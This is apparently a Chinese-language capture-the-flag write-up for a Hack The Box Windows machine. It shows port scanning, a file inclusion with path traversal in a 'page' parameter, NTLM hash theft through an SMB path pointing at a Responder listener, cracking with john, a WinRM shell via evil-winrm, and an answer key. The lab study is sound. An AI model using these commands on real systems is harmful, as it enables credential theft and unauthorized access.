文章目录今天的练习有一点苦恼,啥都不会
- 信息收集
- 修改 host 进入网站
- 查看网站功能
- 探测漏洞-文件包含
- 利用 SMB 窃取 NTLM hash
- NTLM 碰撞获取可用账号密码
- 获取 shell
- 后放答案
拿到靶机日常扫描不用说了,-A 竟然什么都没扫描到
┌──(rootkali)-[~] └─# nmap -A -T4 10.129.95.234 All 1000 scanned ports on bogon (10.129.95.234) are in ignored states. Not shown: 1000 filtered tcp ports (no-response)
没关系,可能是默认扫描的这些端口没有开放,扫描全端口一试,加个 -p 扫描全端口,扫到了两个端口
┌──(rootkali)-[~] └─# nmap -A -T4 10.129.95.234 -p 0-65535 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
等待的时间我又去查了一下一些语句,借用一下,-sS 使用 SYN 扫描,因为 TCP 扫描会经历三次握手耗费大量时间,-Pn 是禁 ping 主机,防止被防火墙过滤而漏扫,但是我们只有一个主机,所以没什么影响,-n 不解析域名,-open 只输出开放端口,结果扫描到 3 个端口,而且注意 5985 端口扫描出的服务也有所不同
┌──(rootkali)-[~] └─# nmap -sS -Pn -n --open -T4 10.129.95.234 -p 0-65535 PORT STATE SERVICE 80/tcp open http 5985/tcp open wsman 7680/tcp open pando-pub
三个端口依次访问,80 端口重定向到一个域名,但是无法访问
5985 端口 404 ,但是有一点指纹信息
7680 也是一样无法连接,但是没有重定向
这个 wsman 全称是 Windows Remote Managemen(WS_Management) ,如果使用 Win7 或者Windows 2003 Server以上版本的操作系统,微软在系统中已经自带了支持WSMAN 的管理客户端,叫做 winrm,它可以提供远程 powershell 管理服务,听起来就比较危险
修改 host 进入网站我们知道如果想通过域名访问一个网站的话,是需要进行 dns 解析的,我们直接输入 IP 地址发现被重定向到了 unika.htb 这个域名,但是这个域名没有办法解析到对应的 IP 地址,所以我们需要通过修改 hosts 文件来确定 IP 地址
再次访问,出现页面,这个网站是通过虚拟主机搭建的,也就是多个网站搭建在一台服务器上,一般现实环境中是不能通过虚拟主机的 IP 直接访问的,而是通过 A 记录(把域名解析到一个IP地址)或 CNAME 记录 (把域名解析到另外一个域名)解析出域名后,再进行下一次域名解析来访问
查看网站功能测试 web 应用程序可以重点关注交互功能,我们能控制哪些输入,又如何被后端处理,会不会以及怎么输出? 静态的网站基本上不会有漏洞的
点了点网站,也是很常见的公司产品官网(?不知道怎么分类,就是静态页面为主),只有一个留言功能和一个语言切换功能有数据包请求,剩下都是由前端完成资源锚点跳转的
请求这两个功能分别是两个 html 页面的请求,但是都是跳转到首页最上方
探测漏洞-文件包含到这里有一个 page 参数,输入文件名,那么这个地方比较大可能存在的漏洞就是文件包含漏洞,我们在初级靶场也接触过,测试一下?
随便输入,发现报错返回了路径,使用的 xampp,一种比较常用的一键式集成环境搭建的网站,默认是将脚本文件放到 xampp/htdocs 目录下运行
因为在信息收集阶段已经知道目标系统是 windows 了,有什么特殊的敏感文件吗? 我们可以尝试查看 hosts 文件
或者直接带盘符,也可以查看
那么如何进一步利用呢?两种思路,一是写入或包含远程后门文件,然后连接,还有是继续信息收集 windows 系统的账号密码信息,进行登录
我们测试一下远程文件包含,我们知道远程文件包含还需要两个条件
allow_url_include、allow_url_fopen 为 ON
本地文件包含则不需要,测试一下,直接报错,不存在远程文件包含
利用 SMB 窃取 NTLM hashSMB 协议支持 NTLM 和 LM 加密,我们通过恶意程序监听,在远程主机访问我们的 SMB 服务时,因为要进行身份验证,会发送相关信息,我们就可以获取目标主机的 hash 值,这个是为了账号密码的安全性,一般都不进行明文验证,而是使用摘要值进行比对,这样就给了我们可乘之机,不需要知道正确的账号密码,只要摘要值比对成功就可以登录
下载安装工具,使用它进行监听
┌──(rootkali)-[~] └─# git pull https://github.com/lgandx/Responder
确认是否支持 SMB 请求
监听 tun0 ,之前有一次靶机提到过,该 IP 是和目标机器一个网络下的 10 段 IP
┌──(rootkali)-[~/tools/responder] └─# python3 Responder.py -I tun0
我们使用 curl 命令来请求 url
┌──(rootkali)-[~] └─# curl -v http://unika.htb/index.php?page=//10.10.16.23/csd
我们发现成功接收到服务器的的 NTLM 值,一般是第一次请求才会发送,然后会保存到本地,下次就不会再发送了
NTLM 碰撞获取可用账号密码获取到 NTLM 值,下一步就是暴破了,将获取的值保存到 hash.txt 文件中
使用 kali 自带工具 john 进行破解碰撞,但是这个字典我的 kali 没有,需要自行下载rockyou.txt.gz下载 ,使用下面的命令解压,不要用别的
gzip -d rockyou.txt.gz
完成之后暴破,注意路径
┌──(rootkali)-[~] └─# john -w=/usr/share/wordlists/rockyou.txt hash.txt
很快啊,结果就出来了
获取 shell这里要利用之前的 winrm ,下载 evil-winrm 工具,直接登录连接获取 shell
┌──(rootkali)-[~] └─# evil-winrm -i 10.129.87.127 -u administrator -p badminton
尝试执行一些命令(我的靶机重连过,IP变了)
最后在某处发现了 flag
后放答案3 unika.htb php page ../../../../../../../../windows/system32/drivers/etc/hosts //10.10.14.6/somefile New Technology LAN Manager -I john the Ripper badminton 5985
pwn!真实一次艰难的学习



